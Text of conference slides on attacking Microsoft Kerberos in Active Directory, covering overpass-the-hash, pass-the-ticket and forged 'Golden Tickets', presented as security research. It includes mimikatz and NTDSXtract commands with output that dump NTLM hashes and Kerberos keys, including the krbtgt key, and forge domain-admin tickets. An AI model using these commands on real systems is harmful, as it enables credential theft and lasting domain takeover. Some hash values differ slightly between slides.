Abusing Microsoft Kerberos

sorry you guys don’t get it

by Alva `Skip` DUCKWALL

& Benjamin DELPY
`whoami` - Skip

- Alva `Skip` DUCKWALL
  - @ passingthehash
  - http://passing-the-hash.blogspot.com
  - author of papers about Pass-the-hash & Kerberos

  Dude in a basement somewhere
`whoami` - gentilkiwi

- Benjamin DELPY
  - @gentilkiwi
  - https://github.com/gentilkiwi
  - http://blog.gentilkiwi.com
  - author of mimikatz

*is certainly admin of your domain*
• We’ll speak about:
  – Windows, Active Directory
  – mimikatz
  – NTLM Hash
  – Kerberos
  – Pass-the-hash/keys/ticket
  – Golden Ticket

• We’ll try: 3 live demos.
  – All of that also works from a **non domain-joined** computer.
Remember about Pass-The-Hash? It still works...
despite what the Microsoft KB or Russinovich says
A little reminder

- **Normal**

  ![Diagram of normal authentication process]

- **Pass-the-Hash**

  ![Diagram of Pass-the-Hash authentication process]
Cool isn’t it? And it works like a charm but with NTLM disabled or “Protected Users”?
*or maybe you only don’t want to leave NTLM auth footprints in the Eventlog ;}
• It is all about keys and tickets

• For Example, let’s use Administrateur who wants to access cifs on a win81 machine on chocolate.local domain

• It needs 3 set of keys, all are in the Active Directory
  – And by default, derived from password.
1. The **KDC** long-term secret key (*domain key*)
   - Under the *mysterious* **krbtgt** account (rc4, aes128, aes256, des...)
   - Needed to sign Microsoft specific data in “**PAC**”, encrypt **TGT**

2. The **Client** long-term secret key (*derived from password*)
   - Under the user/computer/server account
   - Needed to check **AS-REQ**, encrypt session key

3. The **Target/Service** long-term secret key (*derived from password*)
   - Under the computer/server account
   - Needed to countersign data in “**PAC**” of **TGS**, encrypt **TGS**
**Kerberos**

- **Normal**

  LSASS (kerberos) for « chocolate.local » domain

  - des_cbc_md5: f8fd978f7153185
  - rc4_hmac_nt (NTLM/md4): cc36cf7a8514893e
  - aes128_hmac: 8451bb37aa6d7ce3
  - aes256_hmac: b726836138609031

  KDC

  1. AS-REQ
  2. AS-REP
  3. TGS-REQ
  4. TGS-REP
  5. Usage

  Administrateur

  waza 1234/

  win81
• The **KDC** will validate the authentication if it can decrypt the timestamp with the long-term user key (for **RC4**, the **NTLM** hash of the user password)

• It issues a **TGT** representing the user in the domain, for a specified period
This **TGT** is encrypted with a key shared between all **KDC**.

- The **RC4** key for the **krbtgt** account: `310b643c5316c8c3c70a10cfc17e2e31`

- The **KDC** adds a Microsoft specific **PAC** to a structure with user’s information.
The KDC will create a Microsoft specific structure (PAC) with user information.
- This PAC is signed with the target key, and the KDC key:
  - for a TGT, the target is also the KDC, so it is the same key, `310b643c5316c8c370a10cfb17e2e31` for RC4
  - KDC keys are in the `krbtgt` account.
Kerberos :: KRBTGT

- KRBTGT account pwd / hash only changes:
  - Upgrade of domain functional level (NT5->NT6)
  - Bare metal recovery using restore media
  - Manually changed (compromise recovery)
  - In most enterprises this password hasn’t changed in YEARS
• All of that is not secret!
  – Tickets are **ASN.1** encoded
    • Use **OpenSSL** or your favorite tool
  – Kerberos ticket (and **KRB-CRED** format)
  – Microsoft Specific **PAC**
Kerberos
Overpass-the-hash
• **Overpass-the-Hash**

or **Pass-the-Key ;)**

Kerberos

`des_cbc_md5`
`rc4_hmac_md5 (NTLM/md4)`
`aes128_hmac`
`aes256_hmac`

**LSASS (kerberos)**

for « chocolate.local » domain

KDC

TGT

TGS

1. AS-REQ

2. AS-REP

3. TGS-REQ

4. TGS-REP

5. Usage

cc36cf7a8514893e fccd332446158b1a
Overpass-the-Hash or Pass-the-Key ;)

not limited to RC4!

Kerberos

LSASS (kerberos)
for «chocolate.local» domain

- des_cbc_md5
- rc4_hmac_md5 (NTLM/md4)
- aes128_hmac
- aes256_hmac

KDC

TGT

TGS

1. AS-REQ
2. AS-REP
3. TGS-REQ
4. TGS-REP
5. Usage

usage

b726836138609031 4acce8d9367e55f5 5865e7e8f8e670fbef4262d6c94098a9e9
b726836138609031 4acce8d9367e55f5 5865e7e8f8e670fbef4262d6c94098a9e9
“Ok, Skip, Kiwi, it’s cool...
but how can we find these keys?”
• Keys are **both** in Active Directory and client LSASS memory

• We can find:
  – **DES** key
  – **RC4** key.... *Yep, this is the NTLM hash of the password, no domain salt!*
    • Sorry Microsoft, we don’t get it, but your RFC yes ;) - [http://www.ietf.org/rfc/rfc4757.txt](http://www.ietf.org/rfc/rfc4757.txt)
  – **AES128 & AES256** keys (*with NT 6*)

• New “protected users” group prevents Keys in client **LSASS** memory
  – Of course not on the DC ;)

---

*Kerberos :: Overpass-the-hash*
AES Keys use PBKDF2
- These hashes are salted
- 4096 iterations of the PBKDF2 algorithm
- Difficult to crack

Of course these hashes are cached in memory on the client side and then used as password equivalents, just like the NT hashes

This is how you fail with strong cryptography
From Active Directory : Offline

- "just" need: *ntds.dit* & *SYSTEM* hive
- **NTDSXtract**: [http://www.ntdsxtract.com](http://www.ntdsxtract.com)

```
python dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 ./work --name Administrateur --syshive SYSTEM --supplcreds --passwordhashes --lmoutfile ./lm --ntoutfile ./nt --pwdformat john
```

User name: Administrateur

Password hashes:

```
Administrateur:$NT$cc36cf7a8514893efccd332446158b1a::
```

Supplemental credentials:

Kerberos newer keys
salt: CHOCOLATE.LOCALAdministrateur

Credentials

```
18 b7268361386099314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
17 8451bb37aa6d7ce3d2a5c2d24d317af3
3 f8fd987fa7153185
```
Kerberos :: Overpass-the-hash

• From Active Directory : Online

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /inject /name:Administrateur
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID : 000001f4 (500)
User : Administrateur

* Primary
  LM : 
  NTLM : cc36cf7a8514893efccd332446158b1a

[...]
* Kerberos-Newer-Keys
  Default Salt : CHOCOLATE.LOCALAdministrateur
  Default Iterations : 4096
  Credentials
    aes256_hmac (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
    aes128_hmac (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
    des_cbc_md5 (4096) : f8fd987fa7153185
Kerberos :: Overpass-the-hash

- From client LSASS memory

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 1616704 (00000000:0018ab40)
Session : Interactive from 2
User Name : Administrateur
Domain : CHOCOLATE
SID : S-1-5-21-130452501-2365100805-3685010670-500

* Username : Administrateur
* Domain : CHOCOLATE.LOCAL
* Password : (null)
* Key List :
aes256_hmac b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
rc4_hmac_nt cc36cf7a8514893efccd332446158b1a
• **Overpass-the-hash!**
  — **mimikatz** now supports **pass-the-hash** for both NTLM & **Kerberos** provider!

```bash
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user : Administrateur
domain : chocolate.local
program : cmd.exe
NTLM : cc36cf7a8514893efccd332446158b1a
  | PID  2388
  | TID  2392
  | LUID 0 ; 264419 (00000000:000408e3)
  \_ msv1_0 - data copy @ 00000000003C7BC0 : OK !
  \_ kerberos - data copy @ 000000000435988
  \_ aes256_hmac -> null
  \_ aes128_hmac -> null
  \_ rc4_hmac_nt OK
  \_ rc4_hmac_old OK
  \_ rc4_md4 OK
  \_ rc4_hmac_nt_exp OK
  \_ rc4_hmac_old_exp OK
  \_ *Password replace -> null
```

*Old* pass-the-hash for NTLM protocol

*New* pass-the-hash for Kerberos protocol
By the way, this is exactly how Aorato POC works for changing password with just NTLM hash!

- They send a Kerberos request to the service: `kadmin/changepw`

Kerberos
Pass-the-ticket
• Pass-the-Ticket

**LSASS** (kerberos) for «chocolate.local» domain

- des_cbc_md5
- rc4_hmac_md5 (NTLM/md4)
- aes128_hmac
- aes256_hmac

KDC

TGT

TGS

KDC

AS-REQ

AS-REP

TGS-REQ

TGS-REP

Usage

blackhat USA 2014
• *Pass-the-Ticket*

LSASS (kerberos)

for « chocolate.local » domain

also with TGS!

- des_cbc_md5
- rc4_hmac_md5 (NTLM/md4)
- aes128_hmac
- aes256_hmac

TGS

KDC

1. AS-REQ
2. AS-REP
3. TGS-REQ
4. TGS-REP
5. Usage
“Ok, Skip, Kiwi, it’s cool... but how can we find these tickets?”
Kerberos :: TGT & TGS

- **TGT & TGS** are in client **LSASS** memory
  - The “normal” way: by **API**
    - User can only export their ticket(s) (without privilege)
    - For **TGT**: **AllowTgtSessionKey** registry key must be set for session key export...
      - *(mandatory to use the TGT)*
    - For **TGS**: no restriction at all!
  - To get tickets: LsaCallAuthenticationPackage/KerbRetrieveEncodedTicketMessage
    - In mimikatz: kerberos::list [/export]
  - To pass-the-ticket: LsaCallAuthenticationPackage/KerbSubmitTicketMessage
    - In mimikatz: kerberos::ptt ticket.kirbi

Ok, but I want other people’s TGT & TGS!

Why do you want that? Are you a hacker?

– Raw memory reading (yep, even with minidump!)

– This time with all session keys
In mimikatz:
  – privilege::debug
  - (if not already SYSTEM)
  – sekurlsa::tickets /export

Make your choice!

Then use it:
  – kerberos::ptt ticket.kirbi
~ demo ! ~
### Kerberos :: make your choice

<table>
<thead>
<tr>
<th></th>
<th>Default lifetime</th>
<th>Minimum number of KDC accesses</th>
<th>Multiple targets</th>
<th>Available with Smartcard</th>
<th>Realtime check for restrictions (account disabled, logon hours...)</th>
<th>Protected Users Check for Encryption * (RC4/AES)</th>
<th>Can be found in</th>
<th>Is funky</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Normal</strong></td>
<td>42 days</td>
<td>2</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes</td>
<td>n.a.</td>
<td>No</td>
</tr>
<tr>
<td>Overpass-the-hash (Pass-the-key)</td>
<td>42 days</td>
<td>2</td>
<td>Yes</td>
<td>No</td>
<td>Yes</td>
<td>Yes</td>
<td>Active Directory, Client Memory **</td>
<td>No (ok, a little;)</td>
</tr>
<tr>
<td>Pass-the-Ticket (TGT)</td>
<td>10 hours</td>
<td>1</td>
<td>Yes</td>
<td>Yes</td>
<td>No (20mn after)</td>
<td>No</td>
<td>Client Memory</td>
<td>Yes</td>
</tr>
<tr>
<td>Pass-the-Ticket (TGS)</td>
<td>10 hours</td>
<td>0</td>
<td>No</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>Client Memory</td>
<td>Yes</td>
</tr>
<tr>
<td>Golden Ticket</td>
<td>10 years</td>
<td>1</td>
<td>Yes</td>
<td>Yes</td>
<td>No (we can cheat)</td>
<td>No</td>
<td>n.a.</td>
<td><strong>Fuck, Yes!</strong></td>
</tr>
</tbody>
</table>

* **No encryption check** for THE domain administrator (id==500)!

No worry, this account is not sensitive ;)

** ** Not in memory when user in « Protected Users » group
Kerberos

Golden Ticket
A “Golden Ticket”, is a homemade ticket
  – It’s done with a lot of love 😊
  – ... and a key

It’s not made by the KDC, so :
  – it’s not limited by GPO or others settings ;)
  – you can push whatever you want inside!
  – it’s smartcard independent (sorry CISO !)
...but a golden ticket is not only about lifetime modification (10 years is hardcoded but can be modified)

Interesting part is about to modify data into, like lifetime, but mainly the Microsoft PAC:
- Groups (Domain/Enterprise Admins, by example ;)
- SID
- Username
Kerberos is **STATELESS**
- All account policy info is in the **TGT**
  - Disabled / Expired / outside of logon hours
  - Password expired
  - Authentication silo membership
  - “Protected Users” is just a group membership in the **PAC**
  - Group Membership in the **PAC**
- This means that **ALL** account policy is **Client Side Enforcement**
Kerberos :: 20 Minute Rule

• Kerberos 5 has no method for the KDC/TGS (server) to validate that an account is still valid when presented with a TGT
  – Microsoft implemented a solution for this problem
  – **IF** the TGT is older than 20 minutes, the KDC will validate the account is still valid / enabled before issuing service tickets

• **We will come back to this later 😊**
Even if the technique remains the same, I’ve made the choice to limit it to TGT (no TGS)

- Why? Because TGT and TGS rely on different keys

<table>
<thead>
<tr>
<th></th>
<th>Ticket Encryption</th>
<th>PAC KDC Signature</th>
<th>PAC Server Signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>TGT</td>
<td>krbtgt</td>
<td>krbtgt</td>
<td>krbtgt</td>
</tr>
<tr>
<td>TGS</td>
<td>target</td>
<td>krbtgt</td>
<td>target</td>
</tr>
</tbody>
</table>

- target key is renewed periodically, krbtgt... ~never 😊
- A single TGT can obtain many TGS
Kerberos :: Golden Ticket

- All you need is:
  - KDC Key (krbtgt), it can be RC4 (NTLM hash) or AES
  - SID of the domain (whoami, psgetsid, etc.)
  - Domain name

```
mimikatz # lsadump::lsa /inject /name:krbtgt
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

* Primary
  LM :
  NTLM : 310b643c5316c8c3c70a10cfb17e2e31

* Kerberos-Newer-Keys
  Default Salt : CHOCOLATE.LOCALkrbtgt
  Default Iterations : 4096
  Credentials
    aes256_hmac   (4096) : 15540caca7e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42
    aes128_hmac   (4096) : da3128afce899a298b72d365bd753dbfb
    des_cbc_md5   (4096) : 620eb39e450e6776
```
Kerberos :: Golden Ticket

• Create your own!

• kerberos::golden
  /domain: chocolate.local <= domain name
  /sid: S-1-5-21-130452501-2365100805-3685010670 <= domain SID
  /rc4: 310b643c5316c8c3c70a10cfb17e2e31 <= NTLM hash of krbtgt
  /user: Administrateur <= username you wanna be
  /id: 500 <= RID of username (500 is THE domain admin)
  /groups: 513, 512, 520, 518, 519 <= Groups list of the user (be imaginative)
  /ticket: Administrateur.kirbi <= the ticket filename
Kerberos :: Golden Ticket

- Client name: Administrateur
- Service name: krbtgt/chocolate.local
- Validity
  - Start Time: 07/08/2014 12:05:00
  - End Time: 07/08/2024 12:05:00
- Authorization data Microsoft (PAC)
  - Username: Administrateur
  - Domain SID
    - S-1-5-21-130452501-236510005-3685010670
  - User ID
    - 500 Administrateur
  - Groups ID
    - 512 Admins du domaine
    - 519 Administrateurs de l'entreprise
    - 518 Administrateurs du schéma
    - ...

I DON'T ALWAYS USE KERBEROS
BUT WHEN I DO, I CREATE GOLDEN TICKETS
Be crazy =)

- We want to have a long time access to a share limited to a user “utilisateur”, disabled.

kerberos::golden:

/doman:chocolate.local
/sid:S-1-5-21-130452501-2365100805-3685010670
/aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42

/user:srvcharly$ <= real account always in good state

/id:1001 <= RID of the real account

/groups:513,1107 <= RID of “utilisateur” account, yep, in groups =)

/ticket:fake_utilisateur.kirbi
• **Be funky =)**

• **kerberos::golden**
  
  /domain:chocolate.local
  /sid:S-1-5-21-130452501-2365100805-3685010670
  /rc4:310b643c5316c8c3c70a10cfb17e2e31
  
  /user:badguy
  /id:0xffffffff
  /groups:513,512,520,518,519
  /ticket:badguy.kirbi

• **Yep, both the USER and the ID don’t exist**, so this TGT will only work for 20 mins (**TGS watchdog**)
  
  – It works if an **ACL** is defined with groups (this one spoofs a user in **domain admins group; 512**)  
  – ...but all **TGS** obtained in this 20 mins will be valid **10h ;)**  
  – ...and you can make multiple TGT...
~ demo ! ~
Sorry, it was the last demo ;)

That's the evilest thing I can imagine.
~ Questions? ~
(if not enough time, come see us!)
You! To come listen us!
- And trying to understand Benjamin ;)
- If you are shy: exorcyst{put here @}gmail.com & benjamin{put here @}gentilkiwi.com

My co-speaker - he will recognize himself ;)

Blackhat staff !

Microsoft
- They give us a lot’s of subject for slides!
- For a few years, they have worked hard to enhance a lots of things in security (and it’s not easy to mix security with retro compatibility)

Security community (sorry, we have both a big list)
- Come see us for beer-time & stickers :P